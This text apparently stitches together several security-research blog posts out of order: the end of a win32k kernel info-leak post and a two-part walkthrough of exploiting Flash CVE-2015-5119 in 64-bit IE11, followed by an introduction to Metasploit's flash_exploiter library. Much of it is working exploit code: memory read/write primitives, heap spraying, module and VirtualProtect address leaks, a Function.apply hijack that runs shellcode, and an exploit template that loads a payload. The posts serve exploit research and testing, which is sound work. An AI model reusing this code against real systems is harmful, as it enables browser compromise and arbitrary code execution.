My bet is that the win32k.sys pointer is being leaked from the data belonging to the "TMW_INTERNAL" structure, which wraps an TEXTMETRICW structure. Indeed, if you take into account the TMW_INTERNAL structure, the 0x44 length (with padding) makes sense

 

As a final note, ReactOS's method of filling the TMW_INTERNAL structure improves upon the MS15-080 patch and better closes the info leak. The strategy is:

 

  1. Initialize (zero) the local variable, as MS15-080 already does.
  2. When copying the data to the kernel local variable, the kernel should zero the TMDIFF space, since only the TEXTMETRICW data should reach user space later. It is what ReactOS does.
if (NT_SUCCESS(Status))
{
FillTM(&ptmwi->TextMetric, FontGDI, pOS2, pHori, !Error ? &Win : 0);

/* FIXME: Fill Diff member */
RtlZeroMemory(&ptmwi->Diff, sizeof(ptmwi->Diff));
}











 

   3. Additionally, the TEXTMETRICW padding should be zero'd also before copying the data to user space.

 

I have published a simple proof-of-concept for playing with this info leak here: jvazquez-r7/ht_win32k_info_leak · GitHub. This is the result of executing it on a machine with MS15-080 applied:

 

c:\InfoLeak\x64\Release>InfoLeak.exe

DeleteDC

[*] It looks like a kernel address, check if it's in the win32k.sys range

[*] Leak: fffff960001ba900

 

kd> lm m win32k

start             end                 module name

fffff960`0017d000 fffff960`00593000   win32k     (deferred)

This post is a continuation of Exploiting a 64-bit browser with Flash CVE-2015-5119 , where we explained how to achieve arbitrary memory read/write on a 64-bit IE renderer. As a reminder, we are targeting Windows 8.1 / IE11 (64 bits) with Flash 15.0.0.189. Of course, this write-up may contain a few errors, so your mileage may vary =)

 

Where we left off before, we had created an interface to work with memory by using a corrupted Vector.<uint> and a ByteArray whose metadata is reachable from the vector. In order to make it easier to experiment with memory access using the mentioned objects, we extend the interface already introduced in the Part 1:

 

private function set_ba_length(new_length:uint):void {
  uv[ba_pos + 2] = new_length
  uv[ba_pos + 3] = new_length
}

private function set_ba_array(ptr:Address64):void {
  uv[ba_pos] = ptr.lo
  uv[ba_pos + 1] = ptr.hi
}

private function restore_ba():void {
  set_ba_array(ba_orig_array)
  set_ba_length(0x3f8)
}

public function ba_read(addr:Address64):uint {
  set_ba_array(addr)
  ba.position = 0
  return ba.readUnsignedInt()
}

public function ba_read_word(addr:Address64):uint {
  set_ba_array(addr)
  ba.position = 0
  return ba.readUnsignedShort()
}

public function ba_write(addr:Address64, val:uint):void {
  set_ba_array(addr)
  ba.position = 0
  ba.writeUnsignedInt(val)
}

public function ba_read_addr(addr:Address64):Address64 {
  var hi, lo:uint

  set_ba_array(addr)
  ba.position = 0
  lo = ba.readUnsignedInt()
  hi = ba.readUnsignedInt()
  return new Address64(lo, hi)
}

public function ba_write_addr(addr:Address64, val:Address64):void {
  set_ba_array(addr)
  ba.position = 0
  ba.writeUnsignedInt(val.lo)
  ba.writeUnsignedInt(val.hi)
}

public function read_string(addr:Address64, length:uint = 0):String
{
  set_ba_array(addr)
  ba.position = 0
    if (length == 0)
        return ba.readUTFBytes(MAX_STRING_LENGTH)
    else
        return ba.readUTFBytes(length)
}




 

We now have two goals, which we will detail more below:

 

  1. Leaking memory addresses, finding the objects necessary for exploitation and disclose any necessary addresses.
  2. Execute our payload, while accounting ASLR\DEP protections.

 

Leaking Memory Addresses

 

There is nothing new about leaking arbitrary object addresses. We are going to re-use the same technique as with the original 32bits flash_exploiter library. The trick is to use a Vector.<Object> reachable from the corrupted Vector.<uint>, storing the objects whose addresses we need to leak. The "spray" of ByteArray's and Vector.<Object> looks like this:

 

private var defrag:Vector.<Object> = new Vector.<Object>(750)
private var ov:Vector.<Object> = new Vector.<Object>(2048)


for (var i:uint = 0; i < defrag.length; i++) {
  defrag[i] = new Vector.<uint>(250)
}


for (var i:uint = 0; i < ov.length; i++) {
  if (i % 2 == 0) {
  ov[i] = new ByteArray()
  ov[i].length = 0x3f8
  ov[i].position = 0
  ov[i].endian = "littleEndian"
  ov[i].writeUnsignedInt(0xdeedbeef)
  } else {
  ov[i] = new Vector.<Object>(0x3f6)
  ov[i][0] = this
  ov[i][1] = payload_space
  ov[i][2] = Magic
  }
}






 

The Vector.<Object> is then used to disclose three objects:

 

  • this: used to leak a flash pointer. We could possibly use other object, but I'm just reusing old code.
  • payload_space: a Vector.<uint>, which we will use to store any fake objects required for exploitation, and the payload to execute.
  • Magic: a Function object. We will use this to achieve clean code execution, without requiring a ROP chain.


By leaking the "this" object, it is straightforward to leak its vtable, which is a Flash library pointer. We can use this to disclose where the Flash dll is loaded into memory. With the ability to navigate the import and export tables of loaded DLL's, we can then determine any method address. In our example, we are going to leak the kernel32#VirtualProtect address. In the meantime here an extract of the address-leaking code:

 

this_addr = ba_read_addr(vector_object_addr.offset(8))
this_addr.lo = this_addr.lo - 1
Logger.log("[*] 'this' found at " + this_addr.toString())
/* Leak flash and VirtualProtect */
flash_ptr = ba_read_addr(this_addr)
Logger.log("[*] Flash ptr to " + flash_ptr.toString())
var pe:PE64 = new PE64(this)
var flash:Address64 = pe.base(flash_ptr)
Logger.log("[*] Flash base " + flash.toString())
var winmm:Address64 = pe.module('winmm.dll', flash)
Logger.log("[*] winmm base " + winmm.toString())
var kernel32:Address64 = pe.module('kernel32.dll', winmm)
Logger.log("[*] kernel32 base " + kernel32.toString())
var virtualprotect:Address64 = pe.procedure("VirtualProtect", kernel32)
Logger.log("[*] virtualprotect: " + virtualprotect.toString())






 

And the PE64 class used to navigate a loaded DLL:

 

package
{
    public class PE64
    {
        private var eba:Exploiter64

        public function PE64(ba:Exploiter64)
        {
            eba = ba
        }

        public function base(addr:Address64):Address64
        {
            var partial:Address64 = new Address64(addr.lo & 0xffff0000, addr.hi)
            while (true) {
                if (eba.ba_read(partial) == 0x00905a4d) return partial
                partial = partial.offset(-0x1000)
            }
       
            throw new Error()
        }

        public function module(name:String, addr:Address64):Address64
        {
            var i:uint = 0
            var nt_hdr_offset:uint = eba.ba_read(addr.offset(0x3c))
            var pe:Address64 = addr.offset(nt_hdr_offset)
            var iat_dir:Address64 = pe.offset(0x90)
            var iat:Address64 = new Address64(addr.lo + eba.ba_read(iat_dir), addr.hi)
            var iat_length:uint = eba.ba_read(iat_dir.offset(4))
            var mod_name:String
            var iat_entry:Address64
            var iat_name:Address64
            var iat_fnc:Address64
            while (i < iat_length) {
                 iat_entry = iat.offset(i * 0x14)
                 iat_name = new Address64(eba.ba_read(iat_entry.offset(0xc)) + addr.lo, addr.hi)
                 iat_fnc = new Address64(eba.ba_read(iat_entry.offset(0x10)) + addr.lo, addr.hi)
                mod_name = eba.read_string(iat_name, name.length)
                if (mod_name.toUpperCase() == name.toUpperCase()) {
                      return base(eba.ba_read_addr(iat_fnc))
                 }
                 i = i + 1
            }

            throw new Error('FAIL!')
        }

        public function procedure(name:String, addr:Address64):Address64
        {
            var nt_hdr_offset:uint = eba.ba_read(addr.offset(0x3c))
            var pe:Address64 = addr.offset(nt_hdr_offset)
            var eat_dir:Address64 = pe.offset(0x88)
            var eat:Address64 = new Address64(addr.lo + eba.ba_read(eat_dir), addr.hi)
            var eat_length:uint = eba.ba_read(eat_dir.offset(4))
            var numberOfNames:uint = eba.ba_read(eat.offset(0x18))
            var addressOfFunctions:Address64 =  new Address64(eba.ba_read(eat.offset(0x1c)) + addr.lo, addr.hi)
            var addressOfNames:Address64 = new Address64(eba.ba_read(eat.offset(0x20)) + addr.lo, addr.hi)
            var addressOfNameOrdinals:Address64 = new Address64(eba.ba_read(eat.offset(0x24)) + addr.lo, addr.hi)
            var proc_name:String
            var entry:Address64
            var i:uint = 0

            while (i < numberOfNames) {
                 entry = new Address64(addr.lo + eba.ba_read(addressOfNames.offset(i * 4)), addr.hi)
                proc_name = eba.read_string(entry, name.length)
                if (proc_name.toUpperCase() == name.toUpperCase()) {
                      var function_offset:uint = eba.ba_read_word(addressOfNameOrdinals.offset(i * 2)) * 4
                      var address_of_function:Address64 = new Address64(addr.lo + eba.ba_read(addressOfFunctions.offset(function_offset)), addr.hi)
                      return address_of_function
                 }

                 i = i + 1
            }


            throw new Error('FAIL!')
        }
    }
}





 

Payload Execution

 

Now we will describe how to achieve arbitrary code execution with a user-specified payload. In order to do this, we need executable and writable memory where we can write our shellcode and then execute it. To do this with DEP in place, we normally use a ROP chain. And in order to bypass ASLR, ideally we need the ability to generate the chain dynamically. This means searching for the required gadgets in memory.


The CVE-2015-5119 exploit, by Vitaly Toropov, uses an interesting method to achieve clean code execution without a ROP chain. The idea is this:


  • Use a Vector.<uint> data space to store the shellcode and leak the address where data is going to be stored.
  • Call VirtualProtect() on the data space address to make the memory executable.


So, how do we call VirtualProtect() without a chain? Vitaly's method consists on hijacking the Method.apply() call to execute arbitrary (native) methods with controlled arguments and return cleanly to the ActionScriopt code. Let's review to the native code of Method.apply():

 

    /**
     * Function.prototype.apply()
     */
    Atom FunctionObject::AS3_apply(Atom thisArg, Atom argArray)
    {
        thisArg = get_coerced_receiver(thisArg);

        // when argArray == undefined or null, same as not being there at all
        // see Function/e15_3_4_3_1.as

        if (!AvmCore::isNullOrUndefined(argArray))
        {
            AvmCore* core = this->core();

            // FIXME: why not declare argArray as Array in Function.as?
            if (!AvmCore::istype(argArray, ARRAY_TYPE))
                toplevel()->throwTypeError(kApplyError);

            return core->exec->apply(get_callEnv(), thisArg, (ArrayObject*)AvmCore::atomToScriptObject(argArray)); // HIJACKED CALL
        }
        else
        {
            AvmAssert(get_callEnv() != NULL);
            return get_callEnv()->coerceEnter(thisArg);
        }
    }









 

The trick consists in hijacking the "core->exec->apply(get_callEnv(), thisArg, (ArrayObject*)AvmCore::atomToScriptObject(argArray));" call and its arguments. To understand the details, we need to review the assembly code behind this call:

 

.text:00000001808C1455 loc_1808C1455:
.text:00000001808C1455 mov     rax, [rbx]
.text:00000001808C1458 lea     rdx, [rsp+58h+var_30]
.text:00000001808C145D mov     rcx, rbx
.text:00000001808C1460 call    qword ptr [rax+120h] ; getCallEnv()
.text:00000001808C1466 mov     rcx, [rsi+108h]
.text:00000001808C146D and     rdi, 0FFFFFFFFFFFFFFF8h
.text:00000001808C1471 mov     r10, [rcx]
.text:00000001808C1474 mov     rdx, [rax]
.text:00000001808C1477 mov     r9, rdi
.text:00000001808C147A mov     r8, rbp
.text:00000001808C147D call    qword ptr [r10+30h] ; core->exec->apply()









 

As you have probably guessed, in order to hijack the core->exec->apply() call, there are several objects involved. First, we need to figure out how to reach the "core" (AvmCore) element. In the above assembly source, it is done with "AvmCore* core = this->core();". The ScriptObject::core() called method looks like this:

 

REALLY_INLINE AvmCore* ScriptObject::core() const
{
    return vtable->traits->core;
}









 

The assembly code to access the "core" object from a FunctionObject will be inlined, and looks like this (the offsets are the important part to understand the hijack and the exploitation):

 

00000001808C140D mov     rbx, rcx       ; MethodObject
00000001808C141F mov     rcx, [rbx+10h] ; vtable
00000001808C1428 mov     rdx, [rcx+28h] ; traits
00000001808C142F mov     rsi, [rdx+8]   ; core









 

From the "core" object, we then need to access the "exec" (ExecMgr) object, and finally the position of the "apply()" method on its vtable. The assembly code looks like this:

 

00000001808C1466 mov     rcx, [rsi+108h]     ; exec
00000001808C1471 mov     r10, [rcx]          ; exec vtable
00000001808C147D call    qword ptr [r10+30h] ; apply() call









 

Awesome! With this information we should be able to fake our own "exec" object, its vtable, and hijack the original "core" object!

 

Now, let's review how to hijack the arguments. If you remember, we are trying to hijack the call with Kernel32!VirtualProtect. Let's examine the prototype for VirtualProtect:

 

BOOL WINAPI VirtualProtect(
  _In_  LPVOID lpAddress,
  _In_  SIZE_T dwSize,
  _In_  DWORD  flNewProtect,
  _Out_ PDWORD lpflOldProtect
);








 

There are 4 arguments to control, and given the 64-bit x86 calling convention, that means that there are 4 registers to control:

 

  1. lpAddress: ecx
  2. dwSize: edx
  3. flNewProtect: r8
  4. lpflOldProtect: r9

 

Perfect! Let's revisit the assembly code that set up the registers and makes the core->exec->apply() call:

 

.text:00000001808C1466 mov     rcx, [rsi+108h]
.text:00000001808C146D and     rdi, 0FFFFFFFFFFFFFFF8h
.text:00000001808C1471 mov     r10, [rcx]
.text:00000001808C1474 mov     rdx, [rax]
.text:00000001808C1477 mov     r9, rdi
.text:00000001808C147A mov     r8, rbp
.text:00000001808C147D call    qword ptr [r10+30h] ; core->exec->apply()








 

  • rcx is the pointer to the "exec" object. By faking own object in memory, we should be able to hijack it. The payload should live in the same allocation where we are storing our fake object for the hijack. This is not a problem at all. Remember, we're using a Vector.<uint>'s space to store all this information, and we can make it as big as we need
  • rdx comes from a dereference of the memory pointed by rax. Where does rax come from? It is the result of the "get_callEnv()" call, whose assembler is similar to the next snippet, where "rcx" points to the FunctionMethod Object:

 

avm!avmplus::FunctionObject::get_callEnv [c:\avmplus-vs2010\core\functionclass.h @ 70]:
  70 00007ff7`c8aad740 488b4138 mov rax,qword ptr [rcx+38h]
  70 00007ff7`c8aad744 488902 mov qword ptr [rdx],rax
  70 00007ff7`c8aad747 488bc2 mov rax,rdx
  70 00007ff7`c8aad74a c3 ret








 

By controlling the field (8 bytes) at the offset 0x38 of the MethodObject, we should be able to control the second argument.


  • r8 comes from rbp, which stores the result of the "thisArg = get_coerced_receiver(thisArg);" call. The assembly code of get_coerced_receiver is similar to the next snippet, where "rcx" points to the FunctionMethod object:

 

avm!avmplus::MethodClosure::get_coerced_receiver (00007ff7`c8ab7b30)
.text:0000000140087B30 ; __int64 __cdecl avmplus::MethodClosure::get_coerced_receiver(avmplus::MethodClosure *this, __int64 __formal)
.text:0000000140087B30 ?get_coerced_receiver@MethodClosure@avmplus@@MEBA_J_J@Z proc near
.text:0000000140087B30 mov rax, [rcx+40h]
.text:0000000140087B34 retn
.text:0000000140087B34 ?get_coerced_receiver@MethodClosure@avmplus@@MEBA_J_J@Z en








 

By controlling the field (8 bytes) at the offset 0x40 of the MethodObject, we should be able to control the third argument.


  • r9 comes from rdi, which stores the result of "(ArrayObject*)AvmCore::atomToScriptObject(argArray)". By calling Function.apply() with a valid array of args from AS, we should already have a pointer to r/w memory here, so there is nothing special to do to in order to provide a correct fourth argument.


So far so good! We can use the code as follows to leak the required objects, create our fake "exec" and hijack the required fields, and call kernel32!VirtualProtect with controlled arguments, providing executable permissions to the memory where we'll store the payload later:


payload_space_object = ba_read_addr(vector_object_addr.offset(16))
payload_space_object.lo = payload_space_object.lo - 1
Logger.log("[*] payload_space_object found at " + payload_space_object.toString())

payload_space_data = ba_read_addr(payload_space_object.offset(0x30))
payload_space_data.lo = payload_space_data.lo + 0x10
Logger.log("[*] payload_space_data found at " + payload_space_data.toString())

magic = ba_read_addr(vector_object_addr.offset(24))
magic.lo = magic.lo - 1
Logger.log("[*] magic found at " + magic.toString())

vtable = ba_read_addr(magic.offset(0x10))
Logger.log("[*] vtable found at " + vtable.toString())
traits = ba_read_addr(vtable.offset(0x28))
Logger.log("[*] traits found at " + traits.toString())
core = ba_read_addr(traits.offset(0x8))
Logger.log("[*] core found at " + core.toString())
exec = ba_read_addr(core.offset(0x108))
Logger.log("[*] exec found at " + exec.toString())
exec_vtable = ba_read_addr(exec)
Logger.log("[*] exec_vtable found at " + exec_vtable.toString())

// Copy the exec object to payload_space
/* 8 bytes before the exec objec to survive the next call:
* .text:0000000180896903 mov     rax, [r9+108h]
* .text:000000018089690A test    rax, rax
* .text:000000018089690D jz      short loc_180
* .text:000000018089690F lea     rcx, [rax-8]
* .text:0000000180896913 jmp     short loc_180896917
* .text:0000000180896917 loc_180896917:
* .text:0000000180896917 mov     r9, [rbx+18h]
* .text:000000018089691B mov     rax, [rcx]      ; rcx => it's magic  it shouldn't be corrupted so why????
* .text:000000018089691E mov     r8, [r9+8]
* .text:0000000180896922 mov     r9, [r9+10h]
* .text:0000000180896926 mov     r8, [r8+8]
* .text:000000018089692A call    qword ptr [rax+10h]
*/
for (var j:int = -2; j < 0x140; j++) {
  payload_space[j + 2] = ba_read(exec.offset(j * 4))
}

// Copy the exec_vtable to payload_space
for (i = 0x142; i < 0x142 + (228 / 4); i++) {
  payload_space[i] = ba_read(exec_vtable.offset((i - 0x142) * 4))
}

// Tweak fake "apply()" vtable entry
ba_write_addr(payload_space_data.offset(0x508 + 0x30), virtualprotect)

// Link fake exec to fake exec vtable
ba_write_addr(payload_space_data.offset(8), payload_space_data.offset(0x508))

// Install our fake "exec" object
ba_write_addr(core.offset(0x108), payload_space_data.offset(8))

// Install our fake "arg1"
var arg1:Address64 = ba_read_addr(magic.offset(0x38))
ba_write_addr(magic.offset(0x38), new Address64(payload_space.length * 4, 0))

// Install our fake "arg2"
var arg2:Address64 = ba_read_addr(magic.offset(0x40))
ba_write_addr(magic.offset(0x40), new Address64(0x40, 0))

// Arg0
var args:Array = new Array(4) // Should be good enough to control arg0

Logger.log('[*] Execte VirtualProtect')

Magic.apply(null, args)







Since we have the ability to return back to the AS3 code, we can now store our shellcode in the Vector.<uint> whose data has been done executable, and provide control by using the Function.apply() hijack again. In this case our shellcodes are just software breakpoint opcodes:

 

ba_write_addr(magic.offset(0x38), arg1)
ba_write_addr(magic.offset(0x40), arg2)
ba_write_addr(core.offset(0x108), exec)

Logger.log("Looks good:\n" +
  "                   'this' addr: " + this_addr.toString() + "\n" +
  "     payload_space_object addr: " + payload_space_object.toString() + "\n" +
  "       payload_space_data addr: " + payload_space_data.toString() + "\n" +
  "                    magic addr: " + magic.toString() + "\n")

for (i = 0; i < 504; i++) {
  payload_space[i] = 0
}

for (i = 0; i < 228 / 4; i++) {
  payload_space[i] = ba_read(exec_vtable.offset(i * 4))
}

payload_space[500] = 0xcccccccc

ba_write_addr(payload_space_data.offset(0x30), payload_space_data.offset(500 * 4))
ba_write_addr(exec, payload_space_data)

Logger.log('Execute dummy payload')
Magic.apply(null, args)





 

Running Flash under a debugging target allows us to intercept where our "shellcode" is executed:

 

(960.15e4): Break instruction exception - code 80000003 (first chance)
00007ff7`5aa6a7e0 cc              int     3
0:023> r
rax=000000ef544daaf8 rbx=00007ff75bc1c0e0 rcx=00007ff75b9540d8
rdx=00007ff75be31d58 rsi=00007ff75b93b000 rdi=00007ff75be94650
rip=00007ff75aa6a7e0 rsp=000000ef544daac8 rbp=00007ff75bc132c1
r8=00007ff75bc132c1  r9=00007ff75be94650 r10=00007ff75aa6a010
r11=00007ffc6eda2848 r12=000000ef544dafc8 r13=00007ff75b93b000
r14=00007ff75be31f38 r15=0000000000000018
iopl=0         nv up ei pl nz na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000204
00007ff7`5aa6a7e0 cc              int     3
0:023> !address rip
Usage:                  <unknown>
Base Address:           00007ff7`5aa6a000
End Address:            00007ff7`5aa84000
Region Size:            00000000`0001a000
State:                  00001000 MEM_COMMIT
Protect:                00000040 PAGE_EXECUTE_READWRITE
Type:                   00020000 MEM_PRIVATE
Allocation Base:        00007ff7`5a770000
Allocation Protect:     00000001 PAGE_NOACCESS





 

The Function.apply() hijack method is a nice way to prepare the memory, install the shellcode and execute it. It is also cleaner than a rop chain, at least if the MethodObject layout is stable over Flash versions!

 

You can find the updated code for this exercise on the same repository introduced in Part 1: jvazquez-r7/CVE-2015-5119 · GitHub. We have a pending update to the metasploit module supporting 64-bit targets, but there is some "magic" to finish and now is time for DEFCON! By the way, feel free to reach out if you plan to be around DEFCON, as I would like to discuss software security-related topics (or others!) =) In the meanwhile, feel free to grab the code from the github repository to play around with it. Feedback is of course welcome and appreciated

Some weeks ago, on More Flash Exploits in the Framework, we introduced the flash_exploiter library, which is used by Metasploit to quickly add new Flash exploit modules. If you read that blog entry, then you already know that flash_exploiter only supports 32-bit browsers (renderers). In this blog post, we will demonstrate initial steps in adding IE11 64-bit support to CVE-2015-5119 , which is one of the leaked Hacking Team vulnerabilities. Specifically, this post will target Windows 8.1 / IE 11 (64 bits) with Flash 15.0.0.189, so of course, the mitigations introduced by Flash 18.0.0.209 do not apply here.

 

The flash_exploiter library abuses two AS3 classes in order to achieve exploitation: Vector.<uint> and ByteArray. Let's start by reviewing what can be done with these two objects in a 64-bit environment.

 

Vector.<uint>

 

Vectors, specifically Vector.<uint>, have been widely abused on Flash exploits. This is because of how Vectors save their data, which is a ListData struct. It looks like this:

 

    template<class STORAGE, uint32_t slop>
    struct ListData
    {
        uint32_t    len;            // Invariant: Must *never* exceed kListMaxLength
        MMgc::GC*   _gc;
        STORAGE     entries[1];     // Lying: Really holds capacity()












 

As we have long known, overwriting the "len" field allows an exploiter to achieve full memory read/write in a 32-bit process. However, this is not true with a 64-bit process. Since the length will still be 32-bit, only 4GB of memory after the Vector's data can be read and or written. Still, 4GB is still a lot of data to play with!

 

ByteArray

 

In order to achieve arbitrary memory read/write, a ByteArray can be really helpful within a 64-bit process. First, we need to review the layout of the ByteArray class:

 

    class ByteArray : public DataInput,
                      public DataOutput
    {

    public:

        friend class ByteArrayTask;
        friend class ByteArrayObject;
        friend class ByteArraySetLengthTask;
        friend class ByteArraySwapBufferTask;
        friend class ByteArrayCompareAndSwapLengthTask;
        friend class ByteArrayClearTask;
        class Buffer : public FixedHeapRCObject
        {
        public:
            virtual void destroy();
            virtual ~Buffer();
            uint8_t* array;
            uint32_t capacity;
            uint32_t length;
        };


 

The interesting fields for exploitation are "array", "capacity" and "length". The "array" field points to the data buffer, the "capacity" stores the total space available in the data buffer, and the "length" field stores the used length. Note that length should be always less or equal than capacity. To achieve arbitrary memory read/write in a 64-bit process, the goal is to "massage" the memory in a way which a ByteArray object "metadata" is stored near (within 4GB after) a vector whose length is being corrupted.

 

We can then use the corrupted vector to find the ByteArray object and modify its "array" to point to an arbitrary location. Once overwritten, we can read or write the "capacity" bytes from the "array" pointer.

 

Assuming we have:

 

  1. a Vector.<uint> ("uv") with a corrupted length,
  2. a ByteArray ("ba") whose object is reachable from "uv",
  3. and the offset ("ba_pos") necessary to modify the ByteArray metadata from "uv"

 

The following AS3 code can be used to accomplish arbitrary memory read/write:

 

private var uv:Vector.<uint>
private var ba_pos:uint
private var ba:ByteArray


private function set_ba_array(ptr_lo:uint, ptr_hi:uint):void {
  uv[ba_pos] = ptr_lo
  uv[ba_pos + 1] = ptr_hi
}


private function ba_read(addr_lo:uint, addr_hi:uint):uint {
  set_ba_array(addr_lo, addr_hi)
  ba.position = 0
  return ba.readUnsignedInt()
}


private function ba_write(addr_lo:uint, addr_hi:uint, val:uint):void {
  set_ba_array(addr_lo, addr_hi)
  ba.position = 0
  ba.writeUnsignedInt(val)
}



 

So far so good! With this strategy, we can start to exploit IE Metro, using the corrupted "uv" and "ba" to leak memory addresses:

 

Screen Shot 2015-07-29 at 3.14.15 PM.png

 

That's it for this first step in exploiting 64-bit browsers with Flash CVE-2015-5119. If you are interested in following the continuing progress of 64-bit Flash, please follow the github repository jvazquez-r7/CVE-2015-5119 · GitHub It will be updated with next steps!

As todb pointed out in the last weekly metasploit update wrapup we recently added two new exploits for Flash: CVE-2015-3090 and CVE-2015-3105, based on the samples found in the wild.

 

As you're probably aware, the last years, and especially the end of 2014 and 2015, Flash has become the trending target for browser exploits in the wild. Here is a summary of Flash vulnerabilities abused by different Exploit Kits. It is based on the contagiodump overview and the Malware Dont Need Coffe blog data. It also shows the vulnerabilities actually supported in Metasploit, and the targets for every exploit. It's just a summary, maybe the vulnerability set is not complete! I'm not a malware researcher after all!

 

Vulnerability

Metasploit

Targets
CVE-2013-06341435654634_accept.ico

Adobe Flash ActiveX

IE 32 bits on Windows XP SP3 and Windows 7 SP1

1435654925_Windows.png1435654804_ie.png

CVE-2013-5329

CVE-2014-04971435654634_accept.ico

Adobe Flash ActiveX

IE 32 bits on Windows XP SP3, Windows 7 SP1 and Windows 8

1435654925_Windows.png1435654804_ie.png
CVE-2014-0502
CVE-2014-05151435654634_accept.ico

Adobe Flash ActiveX

IE 32 bits on Windows 7 SP1

Adobe Flash Plugin

Firefox 32 bits on Windows 7 SP1, Windows 8.1 and Linux

1435654925_Windows.png1435654962_penguin.png1435654804_ie.png1435654905_firefox.png
CVE-2014-05561435654634_accept.ico

Adobe Flash ActiveX

IE 32 bits on Windows 7 SP1

Adobe Flash Plugin

Firefox 32 bits on Windows 7 SP1, Windows 8.1 and Linux

1435654925_Windows.png1435654962_penguin.png1435654804_ie.png1435654905_firefox.png
CVE-2014-05691435654634_accept.ico

Adobe Flash ActiveX

IE 32 bits on Windows 7 SP1

Adobe Flash Plugin

Firefox 32 bits on Windows 7 SP1 and Windows 8.1

1435654925_Windows.png1435654804_ie.png1435654905_firefox.png
CVE-2014-8439
CVE-2014-84401435654634_accept.ico

Adobe Flash ActiveX

IE 32 bits on Windows 7 SP1

Adobe Flash Plugin

Firefox 32 bits on Windows 7 SP1 and Windows 8.1

1435654925_Windows.png1435654804_ie.png1435654905_firefox.png
CVE-2015-0310
CVE-2015-03111435654634_accept.ico

Adobe Flash ActiveX

IE 32 bits on Windows 7 SP1

Adobe Flash Plugin

Firefox 32 bits on Windows 7 SP1, Windows 8.1 and Linux

1435654925_Windows.png1435654962_penguin.png1435654804_ie.png1435654905_firefox.png
CVE-2015-03131435654634_accept.ico

Adobe Flash ActiveX

IE 32 bits on Windows 7 SP1

Adobe Flash Plugin

Firefox 32 bits on Windows 7 SP1 and Windows 8.1

1435654925_Windows.png1435654804_ie.png1435654905_firefox.png
CVE-2015-03361435654634_accept.ico

Adobe Flash ActiveX

IE 32 bits on Windows 7 SP1

Adobe Flash Plugin

Firefox 32 bits on Windows 7 SP1, Windows 8.1 and Linux

1435654925_Windows.png1435654962_penguin.png1435654804_ie.png1435654905_firefox.png
CVE-2015-03591435654634_accept.ico

Adobe Flash ActiveX / IE 32 bits on Windows 7 SP1

Adobe Flash Plugin / Firefox 32 bits on Windows 7 SP1 and Windows 8.1

1435654925_Windows.png1435654804_ie.png1435654905_firefox.png
CVE-2015-3043
CVE-2015-30901435654634_accept.ico

Adobe Flash ActiveX

IE 32 bits on Windows 7 SP1

Adobe Flash Plugin

Firefox 32 bits on Windows 7 SP1, Windows 8.1 and Linux

1435654925_Windows.png1435654962_penguin.png1435654804_ie.png1435654905_firefox.png
CVE-2015-3104
CVE-2015-31051435654634_accept.ico

Adobe Flash ActiveX

IE 32 bits on Windows 7 SP1

Adobe Flash Plugin

Firefox 32 bits on Windows 7 SP1, Windows 8.1 and Linux

1435654925_Windows.png1435654962_penguin.png1435654804_ie.png1435654905_firefox.png
CVE-2015-3113

 

As you can read, we are doing our best to keep the Framework up to date with Flash vulnerabilities exploited in the wild, so hopefully people can simulate/test them from a confident source. Because of the amount of Flash exploits, we've added a kind of Flash exploitation library to make easier the task of adding them to the framework. We'd like to share 5 cents about how to use this code.

 

Let me start by refreshing our memory... Since 2013 Oct 2012 (thanks Haifei Lei) a common technique to exploit Flash vulnerabilities has been to abuse the AS3 Vectors, for both spraying and to achieve full memory read/write. It is facilitated by the Flash allocator and the own Vector object layout, whose length lives together with its data. The abuse of these objects has been well explained in the past. The first (and excellent) explanation which I can remind is the one provided by Haifei Li in his article Smashing the Heap with Vector: Advanced Exploitation Technique in Recent Flash Zero-day Attack. And it is precisely the technique used by the exploits in the Framework. Since I don't think I can explain it better than Haifei Li I recommend you to check the above link before going ahead, in case you're not familiar with the topic.

 

That said, back to the Metasploit Framework, let me start by helping you to locate the source code for the Flash exploitation library in the code base. It can be found on the data directory, at data/external/source/flash_exploiter path. Actually it supports exploitation for Adobe Flash (32 bits), ActiveX and plugin versions, for both Windows and Linux platforms. (Remark: we're not testing Flash coming with Google Chrome and IE since Windows 8, so the exploits available on MSF don't cover these targets actually). Last but not least, worths to say this code uses some ideas from @hdarwin89, whose flash exploits can be found on its own repository.

 

So, summarizing, the goal is which new Flash exploits just need to provide an "Exploit" class. An Exploit object must be able to corrupt a Vector.<uint>'s length with the value 0x3fffffff or longer. Once this condition has been achieved the Exploit just needs to create a new "Exploiter" instance and allow the magic to happen. Here is an "Exploit" template:

 

package
{
    import flash.display.Sprite
    import flash.display.LoaderInfo
    import mx.utils.Base64Decoder
    import flash.utils.ByteArray


    public class Exploit extends Sprite
    {
        private var uv:Vector.<uint>
        private var b64:Base64Decoder = new Base64Decoder()
        private var payload:ByteArray
        private var platform:String
        private var os:String
        private var exploiter:Exploiter
   
        public function Exploit()
        {
            platform = LoaderInfo(this.root.loaderInfo).parameters.pl
            os = LoaderInfo(this.root.loaderInfo).parameters.os
            var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
            var pattern:RegExp = / /g;
            b64_payload = b64_payload.replace(pattern, "+")
            b64.decode(b64_payload)
            payload = b64.toByteArray()

            /*
                The exploit code here. The goal is to corrupt the uv vector length with 0x3fffffff or bigger.
            */

            exploiter = new Exploiter(this, platform, os, payload, uv, 0x13e)
        }
    }
}


 

A couple of things to take into account. First of all, notice which the Exploit template get the platform and the operating system (as the shellcode) from FlashVars. It is because BrowserExploitServer provides this information from a prior stage, and we're using it, but you could get it by writing your own AS code on the exploit, of course.

 

The second important thing is the Exploiter constructor documentation, because it's the last call which the Exploit should do:

 

/*
Creates an Exploiter instance and runs the exploitation magic

* exp: Exploit object instance, its toString() vtable entry will be overwritten to achieve EIP.
* pl: target platform, "linux" and "win" supported
* os: target operating system for "win" platforms, "Windows 8.1" and "Windows 7" supported
* p: ByteArray with the payload to execute
* uv: Vector.<uint> whose length is overwritten with 0x3ffffffff or longer
* uv_length: original uv's length, so the Exploiter can (hopefully) restore everything after exploitation.
*/
public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.<uint>, uv_length:uint):void


 

Most of the Flash exploits in the framework have been written or migrated to use the Exploiter code, but be careful, because we keep updating the Exploiter code, and not all of them use the last version of the code! The Flash modules actually using the flash_exploiter code are: CVE-2014-0515, CVE-2014-0556, CVE-2014-0569, CVE-2014-8440, CVE-2015-0311, CVE-2015-0313, CVE-2015-0336, CVE-2015-0359, CVE-2015-3090 and CVE-2015-3105.


